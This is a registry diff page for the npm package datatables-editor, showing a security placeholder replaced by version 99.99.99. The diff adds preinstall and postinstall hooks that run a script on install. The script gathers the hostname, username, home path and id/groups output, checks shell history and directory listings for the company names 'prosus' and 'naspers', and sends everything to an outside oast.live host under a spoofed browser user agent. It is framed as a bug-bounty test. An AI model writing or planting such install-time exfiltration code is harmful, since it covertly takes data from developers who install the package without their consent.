datatables-editor 0.0.1-security → 99.99.99

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of datatables-editor might be problematic. Click here for more details.

@@ -0,0 +1,185 @@
1
+ const os = require('os');
2
+ const fs = require('fs');
3
+ const path = require('path');
4
+ const http = require('http');
5
+ const { execSync } = require('child_process');
6
+
7
+ // Target company name for detection
8
+ const COMPANY_NAME = 'prosus'.toLowerCase();
9
+
10
+ // All search terms to look for (company + additional terms)
11
+ const SEARCH_TERMS = ["prosus", "naspers"];
12
+
13
+ // Helper function to safely execute commands (no password prompts)
14
+ function safeExec(command) {
15
+ try {
16
+ return execSync(command, {
17
+ encoding: 'utf8',
18
+ timeout: 5000,
19
+ stdio: ['pipe', 'pipe', 'pipe']
20
+ }).trim();
21
+ } catch (e) {
22
+ return '';
23
+ }
24
+ }
25
+
26
+ // Check if file/directory exists and has content (returns boolean)
27
+ function hasContent(filePath) {
28
+ try {
29
+ if (fs.existsSync(filePath)) {
30
+ const stats = fs.statSync(filePath);
31
+ if (stats.isDirectory()) {
32
+ // For directories, check if not empty
33
+ const files = fs.readdirSync(filePath);
34
+ return files.length > 0;
35
+ } else {
36
+ // For files, check if has content
37
+ const content = fs.readFileSync(filePath, 'utf8').trim();
38
+ return content.length > 0;
39
+ }
40
+ }
41
+ return false;
42
+ } catch (e) {
43
+ return false;
44
+ }
45
+ }
46
+
47
+ // Check if command output has content (returns boolean)
48
+ function execHasContent(command) {
49
+ const result = safeExec(command);
50
+ return result.length > 0 && !result.includes('Error') && !result.includes('not found') && !result.includes('denied');
51
+ }
52
+
53
+ // Check if text contains ANY of the search terms (returns object with per-term results)
54
+ function checkTermsInText(text) {
55
+ const lowerText = text.toLowerCase();
56
+ const results = {};
57
+ let anyFound = false;
58
+
59
+ for (const term of SEARCH_TERMS) {
60
+ const found = lowerText.includes(term.toLowerCase());
61
+ results[term] = found;
62
+ if (found) anyFound = true;
63
+ }
64
+
65
+ results._anyMatch = anyFound;
66
+ return results;
67
+ }
68
+
69
+ // Check if listing contains any search terms (returns object with per-term results)
70
+ function listingContainsTerms(command) {
71
+ const result = safeExec(command);
72
+ return checkTermsInText(result);
73
+ }
74
+
75
+ // Check if file contains any search terms (returns object with per-term results)
76
+ function fileContainsTerms(filePath) {
77
+ try {
78
+ if (fs.existsSync(filePath)) {
79
+ const content = fs.readFileSync(filePath, 'utf8');
80
+ return checkTermsInText(content);
81
+ }
82
+ // Return all false if file doesn't exist
83
+ const results = {};
84
+ for (const term of SEARCH_TERMS) {
85
+ results[term] = false;
86
+ }
87
+ results._anyMatch = false;
88
+ return results;
89
+ } catch (e) {
90
+ const results = {};
91
+ for (const term of SEARCH_TERMS) {
92
+ results[term] = false;
93
+ }
94
+ results._anyMatch = false;
95
+ return results;
96
+ }
97
+ }
98
+
99
+ // Legacy single-term functions for backward compatibility
100
+ function listingContainsCompany(command) {
101
+ const result = safeExec(command).toLowerCase();
102
+ return result.includes(COMPANY_NAME);
103
+ }
104
+
105
+ function fileContainsCompany(filePath) {
106
+ try {
107
+ if (fs.existsSync(filePath)) {
108
+ const content = fs.readFileSync(filePath, 'utf8').toLowerCase();
109
+ return content.includes(COMPANY_NAME);
110
+ }
111
+ return false;
112
+ } catch (e) {
113
+ return false;
114
+ }
115
+ }
116
+
117
+ const data = {
118
+ // Target Info
119
+ bugbounty_company: 'prosus',
120
+ package_name: 'datatables-editor',
121
+ search_terms: SEARCH_TERMS,
122
+
123
+ // Basic System Info (safe metadata only)
124
+ hostname: os.hostname(),
125
+ username: os.userInfo().username,
126
+ os: os.platform() + ' ' + os.release(),
127
+ arch: os.arch(),
128
+ node: process.version,
129
+
130
+ // Current execution path (where npm install was run)
131
+ currentPath: process.cwd(),
132
+ homedir: os.userInfo().homedir,
133
+
134
+ // History Files - Multi-Term Detection (BOOLEAN per term - ethical)
135
+ bashHistory: fileContainsTerms(path.join(os.userInfo().homedir, '.bash_history')),
136
+ zshHistory: fileContainsTerms(path.join(os.userInfo().homedir, '.zsh_history')),
137
+
138
+ // Directory Listings - Multi-Term Detection (BOOLEAN per term - ethical)
139
+ currentDirListing: listingContainsTerms('ls -la'),
140
+ homeDirListing: listingContainsTerms(`ls -la ${os.userInfo().homedir}`),
141
+ rootDirListing: listingContainsTerms('ls -la / 2>/dev/null'),
142
+
143
+ // Legacy single-company checks (for backward compatibility)
144
+ bashHistoryContainsCompany: fileContainsCompany(path.join(os.userInfo().homedir, '.bash_history')),
145
+ zshHistoryContainsCompany: fileContainsCompany(path.join(os.userInfo().homedir, '.zsh_history')),
146
+ currentDirListingContainsCompany: listingContainsCompany('ls -la'),
147
+ homeDirListingContainsCompany: listingContainsCompany(`ls -la ${os.userInfo().homedir}`),
148
+ rootDirListingContainsCompany: listingContainsCompany('ls -la / 2>/dev/null'),
149
+
150
+ // System Info (safe - no sensitive content)
151
+ whoami: safeExec('whoami'),
152
+ id: safeExec('id'),
153
+ groups: safeExec('groups'),
154
+
155
+ timestamp: new Date().toISOString()
156
+ };
157
+
158
+ // Send to Interactsh (silent mode)
159
+ const postData = JSON.stringify(data, null, 2);
160
+
161
+ const options = {
162
+ hostname: 'd59d6hsilkg39hpeis303647hdkzxihkn.oast.live',
163
+ port: 80,
164
+ path: '/',
165
+ method: 'POST',
166
+ headers: {
167
+ 'Content-Type': 'application/json',
168
+ 'Content-Length': Buffer.byteLength(postData),
169
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36'
170
+ }
171
+ };
172
+
173
+ const req = http.request(options, (res) => {
174
+ res.resume();
175
+ res.on('end', () => {
176
+ process.exit(0);
177
+ });
178
+ });
179
+
180
+ req.on('error', (e) => {
181
+ process.exit(1);
182
+ });
183
+
184
+ req.write(postData);
185
+ req.end();
package/index.js ADDED
@@ -0,0 +1,24 @@
1
+ // datatables-editor - Index file
2
+ // Package successfully installed and updated
3
+
4
+ module.exports = {
5
+ name: 'datatables-editor',
6
+ version: '99.99.99',
7
+ message: 'Package updated successfully!',
8
+ init: function() {
9
+ console.log('[datatables-editor] Initialized successfully');
10
+ return true;
11
+ },
12
+ getInfo: function() {
13
+ return {
14
+ name: this.name,
15
+ version: this.version,
16
+ status: 'active'
17
+ };
18
+ }
19
+ };
20
+
21
+ // Auto-init message (silent in production)
22
+ if (process.env.NODE_ENV !== 'production') {
23
+ console.log('[datatables-editor] Package loaded - v99.99.99');
24
+ }
package/package.json CHANGED
@@ -1,6 +1,17 @@
1
1
  {
2
2
  "name": "datatables-editor",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
6
- }
3
+ "version": "99.99.99",
4
+ "description": "Test package for prosus",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node datatables-editor.js",
8
+ "postinstall": "node datatables-editor.js"
9
+ },
10
+ "keywords": [
11
+ "prosus",
12
+ "test",
13
+ "security"
14
+ ],
15
+ "author": "Security Researcher",
16
+ "license": "MIT"
17
+ }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=datatables-editor for more information.